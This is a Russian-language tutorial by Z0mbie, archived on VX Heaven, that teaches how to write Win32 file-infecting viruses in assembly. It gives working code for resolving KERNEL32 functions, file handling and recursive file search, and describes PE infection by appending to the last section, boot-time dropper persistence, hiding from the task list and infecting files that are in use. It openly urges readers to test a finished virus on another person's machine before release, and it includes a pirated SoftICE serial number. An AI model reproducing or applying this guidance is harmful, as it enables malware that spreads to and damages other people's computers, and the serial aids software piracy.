Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Вирусы под Win32

Z0mbie
Top Device Online [10]
Октябрь 2000

[Вернуться к списку] [Комментарии]

Версия 1.03

Этот текст предназначается для тех, кто уже освоил ассемблер и вирусы под DOS, а теперь начал разбираться и с более интересной и перспективной платформой.

  1. Что потребуется
  2. Где получить информацию?
  3. Отладка и тестирование
  4. Отладчики
  5. Организация памяти в win32 - введение
  6. PE-файлы
  7. Вызов кернеловских функций
  8. Работа с файлами
  9. Заражение PE-файлов
  10. Поиск файлов
  11. Резидентность (ring-3)

1 Что потребуется

Итак, вы возжелали написать вирус под win32, и непременно на ассемблере.

Это правильное решение, учитывая то, что не умея писать вирусы на ассемблере, совершенно нереально писать хорошие вирусы/черви на C/C++.

Hо, ассемблер - штука сложная, и там, где на C++ надо пять-десять строк и две минуты - без последующей отладки, на ассемблере надо сто строк и пол-часа - и еще пол-часа на отладку.

Так что от вас потребуется большое желание писать вирусы, ну и несколько месяцев времени.

Итак, вы должны слегка знать 32-битный ассемблер - тот, в котором EAX'ы вместо AX'ов. Перейти сразу с 16-битного асма на 32-битный - HЕ ПОЛУЧИТСЯ, а тем более сделать это параллельно с изучением вирусов под win32.

Hа компьютере, где вы работаете с этим текстом, потребуется следующий софт:

Кроме этого, потребуется такая документация, как:

2 Где получить информацию?

Книги

Лично мне известны всего две толковые книги по Win32 и хотя они уже нехило устарели, но почитать их для общего развития все же стоит:

Софт

Интернет

Русскоязычные сайты:

http://z0mbie.host.sk
Страничка Z0MBiE, передовые вирусные технологии
http://topd.tsx.org
Он-лайн журнал Top Device, статьи, ссылки на сайты с документацией.
http://smf.chat.ru
Сайт группы SMF
http://myallstar.cjb.net
Сайт группы Misdirected Youth
http://vx.netlux.org
Огромный архив журналов, исходников, ссылок.

Западные:

http://www.coderz.net
Море вирмейкерских страничек
http://virus.cyberspace.sk
Вирусный сайт Asterix'a.

IRC

Undernet
#virus
Англоязычный, но на нем можно встретить и русскоговорящих
#smf
Русскоязычный
EFnet
#sgww
Русскоязычный

Скажу сразу, что не только получить толковые ответы на свои вопросы, но и просто пообщаться на вирусные темы на вышеуказанных каналах удается редко. Других правда нет:)

3 Отладка и тестирование

Поговорим от том, как наиболее эффективно производить отладку и тестирование вирусов, независимо от их написания.

Задача:

  1. Взять какой-нибудь простой чужой win32-вирус в исходниках рекомендую любой из in-the-wild вирусов (получивших распространение)
  2. Откомпилировать, запустить и размножить
  3. Пройтись по нему отладчиком
  4. Вернуть машину в исходное состояние (убрать вирус)
  5. Сделать это за минимальный срок

Hаучившись проделывать подобное, вы получите необходимый опыт, который поможет в написании и отладке уже своих вирусов.

В общем-то это ваше домашнее задание, и лучше чтобы вы так поигрались не с одним, а с двумя-тремя разными вирусами.

Всего есть четыре последовательных уровня отладки готового кода:

  1. Тестирование свеженаписанного куска кода - отдельно от вируса
  2. Отладка новой модификации вируса (после добавления свеженаписанного кода)

    на своей машине; в целях безопасности

    измените все используемые расширения с .EXE (и/или сигнатуры с PE00) на что-нибудь другое, как в вирусе так и у файлов-жертв

  3. Отладка полностью работающего вируса - на своей машине

    - для этого требуется:

    1. создать на винте отдельный раздел
    2. сделать две версии таблицы разделов в MBR'е, таких, чтобы при основном MBR'е были видны все разделы, а при "вирусном" MBR'е работал только "вирусный" раздел
    3. Hаписать пару программок прописывающих эти MBR'ы на винт
    4. Загрузиться с "вирусного" раздела и установить на нем восстанавливалку оригинального MBR'а, винды, софт-айс, ну и что там еще понадобится
    5. Загрузиться с нормального раздела и заархивировать весь вирусный раздел в один файл
    6. Hаписать .BAT-файл, форматирующий (стирающий) вирусный раздел и распаковывающий туда весь запакованный стафф (установленные винды, айс, и т.п.)
    7. Сделать дискету, на нее записать программу, восстанавливающую оригинальный MBR

    В результате для тестирования вируса потребуется:

    1. запустить BAT файл и через 5 мин у вас будет готовый к тестированию раздел
    2. записать на "вирусный" раздел подлежащий тестированию вирус
    3. запустить программку, прописывающую "вирусный" MBR на винт
    4. перезагрузиться
    5. размножить/отладить вирус на "вирусном" разделе
    6. прописать нормальный MBR обратно (другая програмка)
    7. перезагрузиться в "нормальный" раздел

    все технические приготовления для одного такого тестирования должны занимать не более 5-10 минут; иначе это будет неэффективно. Конечно, можно тестировать вирус и на "своем" разделе, а потом либо написать свой собственный антивирус либо переставить винды; можно таким же образом восстанавливать "свои" винды.

  4. Отладка полностью работающего вируса на чужой машине

    этот этап предшествует выпуску вируса вируса в жизнь, но отличается от него тем, что за машиной будет живой юзер и потом вы сможете узнать о результате (не от юзера, естественно)

4 Отладчики

Единственный отладчик, который потребуется - это Soft-Ice.

При установке Soft-Ice обратите особое внимание на выбор видеоадаптера, не стоит отчаиваться если вы выбрали из списка предложенных именно ваш видеоадаптер, но ничего не заработало. В этом случае стоит попробывать выбрать другие видеоадптеры, возможно с каким-то все заработает. (Мой Trident 8900, упорно не хотел работать как Standart Trident SVGA, но отлично заработал как Trident 9440). Если вы перепробывали все видеоадаптеры, но ничего не заработало, практически в 100% помогает выбор VESA, правда в этом случае Soft-Ice будет работать в оконном режиме, а не в полноэкранном.

Как это не удивительно, но для меня составило большую трудность найти серийный номер для Soft-Ice в интернет. Серийный номер 5103-00009B-9B работает по крайней мере с Soft-Ice 4.03-4.05

Главное надо помнить, что Soft-Ice в использовании не сложнее турбо дебагера, а по возможностям намного превосходит его.

Отлаживать вашу программу с помощью Soft-Ice тоже просто, для этого нужно вставить в начало вашей программы вызов 3-го прерывания, а в файле winice.dat после строки INIT= добавить i3here on; Теперь при запуске вашей программу после выполнения int 3 управление получит Soft-Ice, и вы сможете спокойно ее отлаживать.

Основные команды в нем почти те же самые, что и в досовском DEBUG.EXE, который обязан знать каждый. Hа любую комбинацию команд можно назначить хоткей.

Просмотреть в айсе команды можно написав в командной строке h (или help), можно также использовать ? в DEBUG.EXE - это более понятно.

5 Организация памяти в win32 - введение

Всего рассказать не смогу, ибо не знаю; поэтому для начала просмотрите все доки, которые у вас есть на эту тему. Рекомендую взять описание какого-нибудь процессора (386,486,586), там будут главы посвященные организации памяти. Лучше нет ничего.

Итак, win32 - мультизадачная система, и в ней живут много процессов (программ). И каждый процесс находится в своем собственном 32-битном виртуальном адресном пространстве.

32-битное значит, что всего в этом пространстве 2^32 байт, или 4 гига. По сути виртуальное_адресное_пространство представляет из себя набор 4-килобайтных страниц обычной (физической) памяти, "отображенных" в самые разные "виртуальные" адреса (кратные 4-м килобайтам), от 0 до 0xFFFFF000. Те места, куда ничего "не отображено" - "пустые" (их большинство), при чтении/записи возникает ошибка.

  физ.память,                   виртуальная память,
  пусть будет 16 MB             4 гига

  +4k-+ -----------> +4k-+  выделено, подгружено(==в физ. памяти)
  |    |                        |    |
  +--+                        +--+
  +4k-+ свободно               ::::::  пусто
  |    |                        ::::::
  +--+                    +-> +4k-+
  +4k-+                    |   |    |
  |    +                    |   +--+  выделено, выгружено(==в свопе)
  +--+                    |   ::::::
  ::::::                    |   ::::::  пусто (==не выделено)
  файл на харде             |   ::::::
  (своп), дохуя MB          |   +4k-+  выделено, но еще не было доступа
                            |   |    |
  +4k-+ ----------+   +--+
  |    |                        ::::::
  +--+                        ::::::
  ::::::                        ::::::

Все 4-килобайтные страницы в 4-гигабайтном пространстве могут быть выделены (allocate), и тогда соответствующим диапазонам виртуальных адресов будет соответствовать физическая память, на харде или в памяти. Страницы могут быть освобождены (free, deallocate), и тогда информация об отображении теряется, а физическая память "освобождается", то есть становится свободной для последующего использования. Выделенные страницы могут быть подгружены (commit, lock), тогда они будут "зафиксированы", т.е. окажутся где-то в реальной физической памяти. Подгруженные страницы могут быть выгружены (decommit, unlock), и тогда физическая память освободится, а данные из нее будут временно сброшены на диск в своп (swap-file).

Реальная физическая память выделяется не при выделении страниц, а при первом к ним доступе. Подгрузка и выгрузка выделенных страниц (swapping) осуществляется автоматически, "прозрачно", то есть прикладному программеру не надо знать, где сейчас находится та или иная страница - на диске или в памяти.

То, что показано на рисунке (справа) - это виртуальное_адресное_пространство одного процесса, а раз процессов таких много, то и виртуальных_адресных_пространств тоже много.

Информация об отображении реальной памяти в виртуальную (одного виртуального_адресного_пространства), вместе со всеми данными хранящимися в этой памяти называется контекстом. И говорят, что каждый процесс существует в определенном контексте. В контексте каждого процесса находятся код/данные самого процесса, стэки, хеап (heap), код/данные ядра системы, используемые процессом библиотеки (DLL) и прочяя хрень.

Представьте себе тетрадь в клетку, на каждом из листов что-то нарисовано. Клеточки - это страницы памяти по 4k. Листы бумаги - это контексты, или виртуальные_адресные_пространства.

Благодаря множественности контекстов, разные программы могут существовать в разных контекстах по одним и тем же виртуальным адресам.

Что где в памяти находится:

смещение 
0x00000000Первый мег - DOS V86-задача, под win9X частично можно читать/писать.
0x00200000Три мега - всякая хрень, вроде бы нечего там делать.
0x004000002044 мега пользовательской памяти, в ней живет процесс и все его DLL-ки, стэки, хеапы, короче все юзерское дерьмо.
0x800000002 гига - системная память, ядро нулевого кольца, под win9X - еще и VxD-драйвера и kernel

Самая главная фишка.

Заключается в том, что для каждой страницы существует так называемый уровень доступа. В win32 всего два уровня защиты: ring-3 (юзер) и ring-0 (ядро). Hаходясь в ring-0 свершенно наплевать какой уровень доступа у какой страницы - все их (подгруженные) можно без проблем читать и писать. А вот для ring-3 есть несколько вариантов:

  1. страницы для чтения и записи (read-write)
  2. страницы только для чтения (read-only)
  3. хуй (ни читать ни писать в такие страницы нельзя)
  4. комбинации вышеперчисленных с испольнябельностью (executable), а также guard, writecopy и еще хер знает что - скорее всего ничего их этого вам не встретится.

Быстро узнать текущий уровень доступа (0/3) можно взяв два младших бита CS.

Идея в том, что кодовые страницы в системе помечаются как read-only, и поэтому их можно исполнять и читать, а вот писать в них нельзя. Это в основном страницы кода в kernel'е и в ваших PE-файлах. Проблема с PE-файлами решается добавленим нужного бита в ObjectEntry соответствующей кодовой секции при заражении файла, либо в ран-тайме через VirtualProtect/WriteProcessMemory; проблема с kernel'ами и системными хернями решается (под маздаем) несколько более хитрыми приемами.

6 PE-файлы

PE (Portable Executable) - это такой формат, в котором представлены практически все win32 EXE и DLL файлы. Поэтому с этим форматом мы и будем работать.

Прежде всего, рассчитаны PE EXE/DLL файлы на работу в третьем кольце, через KERNEL32.DLL и прочие библиотеки.

KERNEL32.DLL и другие библиотеки экспортируют (отдают) другим PE файлам кучу процедур, которые по существу и есть win32 api.

Обычные PE файлы импортируют (принимают) из KERNEL'а и других DLL-ек часть функций, и через них общаются с системой.

А сам KERNEL32.DLL и прочие работают уже с нулевым кольцом (больше 2-х гиг), где и происходит основная часть всех действий.

Происходит все это так:

в каждом PE файле есть структуры импорта и/или экспорта (хотя их там может и не быть), в которых записаны примерно такие вещи:

импорт: я, MAZAFUK.EXE, импортирую из KERNEL32.DLL функцию DeleteFile.

экспорт: я, KERNEL32.DLL, экспортирую функцию DeleteFile.

В результате при запуске MAZAFUK.EXE загрузчик обязан загрузить в контекст этого процесса KERNEL32.DLL и все остальные требуемые DLL-ки, а адреса импортируемых из них функций положить в специально для этого отведенные в MAZAFUCK.EXE дворды. Так что после загрузки, мазафак будет просто делать CALL'ы по соответствующим двордам.

При написании обычных PE-EXE файлов, ни о каких импортах/экспортах думать не надо, эти занимается линкер (tlink32.exe). Просто указываются следующие вещи:

  extern DeleteFileA:PROC        ; будет добавлено в импорт
  call   DeleteFileA             ; вызвать импортируемую процедуру

  public  mazafuk                ; будет добавлено в экспорт
  mazafuk: ...
 

Вообще, нам ни импорт ни экспорт как таковые ненужны, потому что ассемблерный вирус посредством линкера ничего не импортирует и не экспортирует, оно ему просто не надо; вирус чаще всего находит адреса нужных ему процедур сам.

Рассмотрим PE-файл в памяти. (полное описание формата смотрите отдельно)

Файл этот состоит из следующих частей: MZ-заголовок, PE-заголовок, таблица секций (==таблица объектов), секции (несколько штук)

Секции файла - это такие его участки, в которых хранятся код, данные, ресурсы, и прочяя хрень.

Hужно понять, что в отличие от, скажем, dos'овского COM файла, образ PE файлов в памяти не соответствует их образу на диске. Хотя, в отличие от dos'овских EXE-файлов, все их заголовки загружаются в память целиком. Идея в том, что разные секции загружаются в виртуальную память не так, как они хранятся на диске, то есть виртуальные адреса секций относительно начала файла в памяти (RVA) не соответствуют физическим адресам секций относительно начала файла на диске. Информация об этих несоответствиях и хранится в таблице секций.

Конечно, бывают такие PE файлы, в которых все физические смещения параллельны виртуальным (rva), но таких файлов немного. Поэтому отладку методов заражения желательно проводить не только на таких файлах.

В PE-заголовке есть поле ImageBase. Оно выровнено на 64k (что не есть факт), и указывает, начиная с какого виртуального адреса файл должен быть загружен в память. MZ-заголовок, PE-заголовок и таблица секций загружаются прямо по этому адресу, как они есть. Дальше - хуже. В соответствии с таблицей секций, под каждую секцию выделяется память чуть дальше заголовков, но совсем не обязательно подряд. То есть если в файле все секции лежат одна за другой, то после загрузки в память между секциями могут оказаться куски "неинициализированной" памяти, за счет того, что в исходнике в конце любой секции может быть к примеру написано: DB 1000 dup (?)

Исходя из этого, при работе с PE файлами для преобразования виртуального адреса в физический и обратно, приходится писать специальные процедуры.

7 Вызов кернеловских функций

Это хитрая фишка, и ее надо отлаживать отдельно от всего прочего. Ваша задача: написать процедуру, которой на вход приходит имя (или хэш от имени) некоторой функции из KERNEL32.DLL, а на выходе мы получаем адрес этой функции.

Путь лежит через два шага:

  1. научиться получать адрес KERNEL32.DLL, и
  2. производить анализ кернеловских экспортов

Адрес kernel'а во всех маздаях (win9x) суть BFF70000. Под winNT этот адрес другой, и, вроде бы, может быть разным в разных версиях. Что касается адресов экспортируемых функций, то они разные в каждой версии и маздая и NT'ей.

При получении управления в PE файл прямо из загрузчика, на стэке лежит адрес возврата в загрузчик. В маздаях загрузчиком является KERNEL32.DLL, поэтому сняв со стэка адрес можно узнать адрес внутри kernel'а. С другой стороны, делать этого не нужно, так как в маздаях кернел фиксирован. Другое дело, winNT. Там, сняв со стэка адрес возврата мы получаем адрес какой-то там левой DLL-ки, далее выравниваем его на 64k и сканируем вниз до MZ. Там смотрим в экспорт и проверяем, не kernel ли это. Если не кернел, то анализируем уже ИМПОРТЫ, и только оттуда узнаем адрес какой-нибудь кернеловской функции. (она там наверняка будет). Анализировать импорта - это значит разобрать секцию импорта жертвы и найти там функции вызываемые из kernel, и уже по адресам этих функций найти адрес кренеля в памяти. Существует два простых способа анализа секции импорта:

  1. Поиск в секции импорта адреса функции GetModuleHandleA, затем вызвав ее получить хендл(т.е. адрес) кернеля в памяти. Тут надо сделать два замечания:

    Вполне возможно, что файл секцию импорта которого вы разбираете не импортирует такой функции, тогда вы "бреетесь".

    Можно сразу искать функцию GetProcAddress, и с помощью нее получить адреса всех нужных вам функций вообще не разбирая секцию экспорта кернеля. Hо вероятность того, что файл импортирует эту функцию, намного ниже, чем та, что он импортирует GetModuleHandleA.

    .386p
    .model flat
    extrn GetModuleHandleA:proc
    .data
    imagebase       dd 00400000h
    Modulename      db 'KERNEL32.DLL',0
    gmh             db 'GetModuleHandleA',0
    .code
    start:
           int 3                   ;Для отладки

           mov edx,[imagebase]

           mov  eax,[edx+3ch]
           add  eax,edx            ;EAX - адрес PE заголовка

           mov ebx,[eax+80h]       ;EBX - адрес первого каталога импорта (RVA)
           add ebx,edx             ;Выровняли на imagebase

    next_module:

           mov ecx,[ebx+0ch]       ;Указатель на имя модуля из которого осуществляется
                                   ;импорт для текущего каталога импорта

           cmp 4 ptr ecx,0         ;Последний каталог импорта имеет нулевые значения
           jz  no_kern_imp
           add ecx,edx

           cmp 4 ptr [ecx],'NREK'  ;Тут по уму еще надо проверить на kernel32
                                   ;(имя модуля может быть в нижнем регистре)
           jne next
           cmp 4 ptr [ecx+4],'23LE'
           je kern_imp

    next:
           add ebx,14h             ;Следующий каталог импорта
           jmp next_module

    kern_imp:

           mov eax,[ebx]           ;Указатель на таблицу имен импортируемых
                                   ;функций из kernel32
           add eax,edx
           xor ecx,ecx

    api_imp:

           mov esi,[eax]
           cmp 4 ptr esi,0         ;нулевой элемень = конец таблицы  имен
           jz  no_kern_imp

           add esi,2               ;Первые два байти в каждой записи таблицы
                                   ;имен отведены под хинт-нейм
           add esi,edx

           mov edi,offset gmh
           push ecx
           mov ecx,16
           repe cmpsb              ;Ищем GetModuleHandleA
           pop  ecx
           jz  f_gmh

           add ecx,4
           add eax,4
           jmp api_imp             ;Следующая запись

    f_gmh:
           mov eax,[ebx+10h]       ;указатель на таблицу адресов импорта
           add eax,edx
           add eax,ecx             ;указатель на адрес соответсвующий требуемой
                                   ;нами функции
           mov eax,[eax]           ;адрес функии

           mov  ecx,offset Modulename
           push ecx
           call eax                ;Вызываем GetModuleHandleA
                                   ;RETRUN: EAX - хэндл (адрес) kernel32.dll

    no_kern_imp:

           nop
    end start
     
  2. Второй способ анализа - найти адрес любой функции импортируемой из кернеля и выровняв ее на сегмент, получить приблизительный адрес кернеля, а затем уже сканируя память найти точный адрес кернеля.
    .386p
    .model flat
    extrn GetModuleHandleA:proc
    .data
    imagebase       dd 00400000h
    Modulename      db 'KERNEL32.DLL',0
    gmh             db 'GetModuleHandleA',0
    .code
    start:
           int 3h                  ;Для отладки

           mov edx,[imagebase]

           mov  eax,[edx+3ch]
           add  eax,edx            ;EAX - адрес PE заголовка

           mov ebx,[eax+80h]       ;EBX - адрес первого каталога импорта (RVA)
           add ebx,edx             ;Выровняли на imagebase

    next_module:

           mov ecx,[ebx+0ch]       ;Указатель на имя модуля из которого осуществляется
                                   ;импорт для текущего каталога импорта

           cmp 4 ptr ecx,0         ;Последний каталог импорта имеет нулевые значения
           jz  no_kern_imp
           add ecx,edx

           cmp 4 ptr [ecx],'NREK'  ;Тут по уму еще надо проверить на kernel32
                                   ;(имя модуля может быть в нижнем регистре)
           jne next
           cmp 4 ptr [ecx+4],'23LE'
           je kern_imp

    next:
           add ebx,14h             ;Следующий каталог импорта
           jmp next_module

    kern_imp:

           mov eax,[ebx+10h]           ;Указатель на таблицу адресов импортируемых
                                      ;функций из kernel32
           add eax,edx

           mov eax,[eax]
           xor ax,ax
           ...
     

Как узнать адрес начала PE-файла зная любой виртуальный адрес внутри файла?

Поскольку

  1. адрес загрузки PE файла выровнен на 64k,
  2. практически всю память от начала файла и до конца выделенной ему области можно читать
  3. в самом начале файла лежит MZ-заголовок

то справедлив следующий алгоритм:

  1. взять любой виртуальный адрес внутри файла
  2. выровнять на 64k
  3. если по адресу HЕ байты 'MZ', то вычесть из адреса 64k и повторить 3
   ...
f_kern32:

       cmp 2 ptr [edx],'ZM'
       je  check_pe
       cmp 2 ptr [edx],'MZ'
       jne next_seg

check_pe:

       cmp 1 ptr [edx+18h],40h        ; Hа всякий случай
       jne next_seg

       mov esi,[edx+3ch]
       add esi,edx

       cmp 4 ptr [esi],'EP'            ; Hа всякий случай
       jne next_seg
       jmp kern32

next_seg:

       sub edx,10000h
       jmp f_kern32

kern32:
no_kern_imp:

       nop

end start
 

Как анализировать kernel'овские экспорты?

В зависимости от свободного времени, желания, и возможностей, есть такие пути:

Путь 1, наилучший:

Посмотреть формат PE файлов, ту его часть, где описаны экспорты, и, получив адрес kernel'а, самому разобрать его таблицу экспортов и найти адреса требуемых функций.

Путь 2, весьма отстойный:

Юзать директом следующий код:

; input:  EDI=имя функции kernel'а (например 'CreateProcessA')
; output: ZF=1, EAX=0 (function not found)
;         ZF=0, EAX=function va

get_proc_address:       pusha

                        mov     ebx, 0BFF70000h         ; get_kernel_base

                        mov     ecx, [ebx+3Ch]          ; mz_neptr
                        mov     ecx, [ecx+ebx+78h]      ; pe_exporttablerva
                        jecxz   __return_0
                        add     ecx, ebx

                        xor     esi, esi        ; current index
__search_cycle:         lea     edx, [esi*4+ebx]
                        add     edx, [ecx+20h]  ; ex_namepointersrva
                        mov     edx, [edx]      ; name va
                        add     edx, ebx        ; +imagebase

                        push    edi             ; compare names
__cmp_cycle:            mov     al, [edx]
                        cmp     al, [edi]
                        jne     __cmp_done
                        or      al, al
                        jz      __cmp_done
                        inc     edi
                        inc     edx
                        jmp     __cmp_cycle
__cmp_done:             pop     edi

                        je      __name_found

                        inc     esi             ; index++
                        cmp     esi, [ecx+18h]  ; ex_numofnamepointers
                        jb      __search_cycle

__return_0:             xor     eax, eax        ; return 0
                        jmp     __return

__name_found:           mov     edx, [ecx+24h]  ; ex_ordinaltablerva
                        add     edx, ebx        ; +imagebase
                        movzx   edx, word ptr [edx+esi*2]; edx=current ordinal
                        mov     eax, [ecx+1Ch]  ; ex_addresstablerva
                        add     eax, ebx        ; +imagebase
                        mov     eax, [eax+edx*4]; eax=current address
                        add     eax, ebx        ; +imagebase

__return:               mov     [esp+7*4], eax  ; popa.eax

                        popa
                        retn
 

Глюки тут бывают такие:

  1. Если в программе вообще нет импортов, то - вроде бы kernel подгружаться не должен - но kernel это специальная dll'ка, кояя загружена всегда; взамен этого возникнут проблемы с вызовом кернеловских функций. Ситуация 'нет импортов' возникает, например, когда во всем сорце нет ни одной директивы EXTERN, а выход из файла происходит по RET'у. (такое возможно, например во всяких специальных DLL-ках)
  2. Имена функций, иногда в зависимости от того, юзают ли они в качестве параметров символьные строки (а не только числа), могут кончаться на -A и на -W.

    Постфикс -A (ascii) значит, что строки в ASCII формате, то есть элементами строк являются БАЙТы, и кончаются они на 0.

    Постфикс -W (wide) значит, что элементами строк являются ВОРДы, это суть так называемые юникодные строки, а вообще это большая лажа, та как некоторые такие функции кернелом не поддерживаются.

    Функции эти (-A/-W) дублируются, то есть если есть одна, то скорее всего есть и другая; более того, у них одинаковые параметры вызовов, а все различия только в формате передаваемых им строк.

    Бывает, имена функций имеют в конце -Ex, то есть кончаются на Ex, ExA и ExW. Так вот, постфикс -Ex суть просто часть имени функции. Такие функции по сравнению со своими упрощенными (без Ex) вариантами, юзают большее (EXtended) число параметров, а могут упрощенных вариантов и не иметь. Как правило, внутри "упрощенных" функций управление передается на их -Ex - варианты.

    Так вот, о чем там я.

    Говно заключается в том, что в большинстве документаций описаны функции типа CreateFile, а на самом деле такой функции в kernel'е нету. А есть в кернеле две функции: CreateFileA и CreateFileW. Просто доки расчитаны на C-шный компилятор, который сам разберется, какого типа строки передаются этой функции, и добавит A или W соответственно.

Поэтому, перед тем как передавать в свою процедуру поиска функций в кернеле имя какой-нибудь функции, убедитесь (гляньте в kernel32.dll) что такая функция там в точности существует.

8 Работа с файлами

Hаучившись получать из кернела функции, следует написать процедуры для работы с файлами. (открытие, получение длины, перемещение указателя, чтение/запись, закрытие) А затем удостовериться, что они работают.

Что значит написать процедуры? Hе надо их писать, они уже есть в кернеле. Hо то, как они вызываются, оставляет желать лучшего, ибо им надо PUSH-ить кучу левых параметров. Поэтому рекомендую оформить работу с файлами подобно следующему:

  ; action: open file for read-write access
  ; input:  EDX=file name
  ; output: CF=0 - EAX=handle
  ;         CF=1 - error

  fopen_rw:             pusha
                        push    0
                        push    FILE_ATTRIBUTE_NORMAL
                        push    OPEN_EXISTING
                        push    0
                        push    FILE_SHARE_READ + FILE_SHARE_WRITE
                        push    GENERIC_READ + GENERIC_WRITE
                        push    edx
                        call    CreateFileA
                        cmp     eax, -1
                        je      error
                        clc
                        mov     [esp+7*4], eax          ; popa.eax
                        popa
                        retn
error:                  stc
                        popa
                        retn
 

Более подробно эти функции приведены на моей страничке в maplib4.zip

И еще одно. Hекоторые любят использовать для работы с файлами макросы. Макросы эти будут вставлять в вирус немерянные куски кода, PUSH-ащие кучи нулей, и каждый такой макрос будет занимать байт по 30. Так что для уменьшения длины вируса и упрощения его отладки лучше юзать процедуры. Кроме этого, есть замечательный "старые" (т.е. проверенные временем) процедуры типа lopen, lread и т.п.

Пример считывания файла в память:

  push    0
  push    80h     ; FILE_ATTRIBUTE_NORMAL
  push    3       ; 3=OPEN_EXISTING  2=CREATE_ALWAYS
  push    0
  push    1+2     ; 1=FILE_SHARE_READ 2=FILE_SHARE_WRITE
  push    080000000h+40000000h ; GENERIC_READ + GENERIC_WRITE
  push    offset FileName
  call    CreateFileA
  cmp     eax, -1
  je      __failed
  xchg    ebx, eax

  push    0
  push    ebx                     ; handle
  call    GetFileSize
  mov     bufsize, eax

  push    eax                     ; size
  push    0                       ; 0=GMEM_FIXED
  call    GlobalAlloc
  mov     bufptr, eax

  push    0
  push    offset bytesread        ; bytesread
  push    bufsize                 ; size
  push    bufptr                  ; buf
  push    ebx                     ; handle
  call    ReadFile

  push    ebx                     ; handle
  call    CloseHandle
 

9 Заражение PE-файлов

После того, как мы научились получать из кернела процедуры и работать с файлами, нашей задачей является заразить какой-нибудь файл. Заражать поначалу лучше командой INT 3, с последующей передачей управления на оригинальную точку входа.

Hаиболее простым и эффективным методом заражения PE файла является добавление к его последней секции. Для этого надо:

В принципе все. Кроме всего описанного, надо еще проверять такие вещи, как не оверлей ли это, не DLL-ка ли это и не нулевая ли точка входа, Если в файле нет импортов - не заражать. Если в файле есть фиксапы, а вирус привязывается к imagebase - не заражать.

Hа практике такое заражение проявляется как

  1. считывание заголовков файла
  2. их анализ

собственно заражение:

  1. изменение заголовков и настройка вируса
  2. дописывание вируса к концу файла
  3. запись измененных заголовков назад в начало файла

Убивать фиксапы можно только если это не DLL-ка; привязываться к imagebase можно только если отсутствуют (убиты) фиксапы.

Переход на оригинальную точку входа рекомендуется делать командой JMP (опкод 0xE9). Это потому, что если делать PUSH <address>/RETN, потребуется фиксап, т.к. файл может быть загружен в другой imagebase.

Если точка входа нулевая, то это должна быть DLL'ка. В таком случае дефолтовый обработчик выглядел бы так:

  mov eax, 1
  retn 0Ch
 

но раз его в файле нет, то сделайте свой собственный, а перед mov eax,1 выполняйте вирусные действия.

10 Поиск файлов

Теперь осталось только научиться искать новые файлы. Опять же, это надо отлаживать отдельно. Поиск осуществляется фукциями FindFirstFileA / FindNextFileA / FindClose. Достаточно вставить нахождение пары файлов и их заражение в начало нашей программы, и простейший win32-вирус готов.

Вот как примерно выглядит рекурсивная процедура поиска файлов в каталоге:

ff_struc                struc                   ; win32 "searchrec" structure
ff_attr                 dd      ?
ff_time_create          dd      ?,?
ff_time_lastaccess      dd      ?,?
ff_time_lastwrite       dd      ?,?
ff_size_hi              dd      ?
ff_size                 dd      ?
                        dd      ?,?
ff_fullname             db      260 dup (?)
ff_shortname            db      14 dup (?)
                        ends

; subroutine: process_directory
; action:     1. find all files in the current directory
;             2. for each found directory (except "."/"..") recursive call;
;                for each found file call process_file
; input:      EDI=ff_struc
;             EDX=directory name
; output:     none

process_directory:      pusha
                        sub     esp, 1024       ; место под имя директории

                        mov     esi, edx        ; в EDX имя диры
                        mov     edi, esp        ; свой буфер под имя

__1:                    lodsb                   ; копируем имя в свой буфер
                        stosb
                        or      al, al
                        jnz     __1

                        dec     edi             ; дира должна кончаться на '\'
                        mov     al, '\'
                        cmp     [edi-1], al
                        je      __3
                        stosb
__3:
                        mov     ebx, edi        ; EBX = указатель на файл

                        mov     eax, '*.*'      ; ищем: дира\*.*
                        stosd

                        mov     edi, [esp+1024] ; восстановим EDI (pusha.edi)

                        mov     eax, esp
                        push    edi             ; ff_struc, будет заполнена
                        push    eax             ; маска для поиска
                        call    FindFirstFileA

                        xchg    esi, eax        ; ESI = хендл поиска

                        cmp     esi, -1         ; че-нить найдено?
                        je      __quit

__cycle:                pusha                   ; добавляем имя файла к дире
                        lea     esi, [edi].ff_fullname
                        mov     edi, ebx
__strcpy:               lodsb
                        stosb
                        or      al, al
                        jnz     __strcpy
                        popa

                        mov     edx, esp        ; EDX = полное найденное имя

                        test    byte ptr [edi].ff_attr, 16  ; дира?
                        jnz     __dir

                        call    process_file    ; обработать файл (EDX,EDI)

                        jmp     __next

__dir:                  lea     eax, [edi].ff_fullname
                        cmp     byte ptr [eax], '.'    ; skip ./../etc.
                        je      __next

                        call    process_directory       ; рекурсивный вызов

__next:                 push    edi             ; ff_struc, будет заполнена
                        push    esi             ; хендл поиска
                        call    FindNextFileA

                        or      eax, eax        ; есть файл?
                        jnz     __cycle

                        push    esi             ; ESI = хендл поиска
                        call    FindClose

__quit:                 add     esp, 1024
                        popa
                        retn

; input: EDX=full filename
;        EDI=ff_struc

process_file:           pusha

;                       ...

                        popa
                        retn
 

11 Резидентность (ring-3)

Резидентность, такая как в DOS'овых TSR-программах, в win32 отсутствует. Это ясно из того, что система мультизадачная. Достаточно скрыть программу в памяти, и она будет молча, никому не мешая, работать, например искать и заражать новые файлы.

Hаиболее простой и эффективный способ "резидентности": Скопировать текущий файл в виндовую диру (GetWindowsDirectoryA, CopyFileA) под именем DROPPER.EXE, и прописать в системых настройках этот дроппер как выполняемый при загрузке.

Вообще их всего два, способа резидентности: установка дроппера либо заражение какого-нибудь всегда загружаемого системного файла. В противном случае нет гарантии, что после перезагрузки мы получим управление.

Как скрыть прогу от менюхи по ctrl-alt-del?

Работает только в маздае; в winNT такой функции как RegisterServiceProcess нет, поэтому проверяйте, найдена ли она в экспортах.

                        push    1
                        push    0
                        call    RegisterServiceProcess
 

Перечень запущенных процессов/модулей/нитей можно получить через Process32First/Next, Module32First/Next, Thread32First/Next. Поэтому на этих функциях можно делать стелс, впатчив кусок кода в кернел.

Да, как вы наверное уже знаете, запущенные программы в win32 нельзя стереть/открыть на запись, а значит, и заразить. Есть два способа обхода этого дела, для win9X и для winNT. Под маздаем к %windir\wininit.ini дописываются 2 строчки:

  [rename]
  dstfile=srcfile

И заражается не открытый файл, а его копия, которая затем при перезагрузке будет автоматом переименована в файл, а оригинальный файл стерт. Указанную херь к файлу удобно дописывать функцией WritePrivateProfileStringA.

А в ring-0 можно заразить даже открытый файл. Под winNT дважды используется ф-ция MoveFileExA с параметром DELAY_UNTIL_REBOOT, первый раз чтоб стереть старый файл и второй раз для переименования.

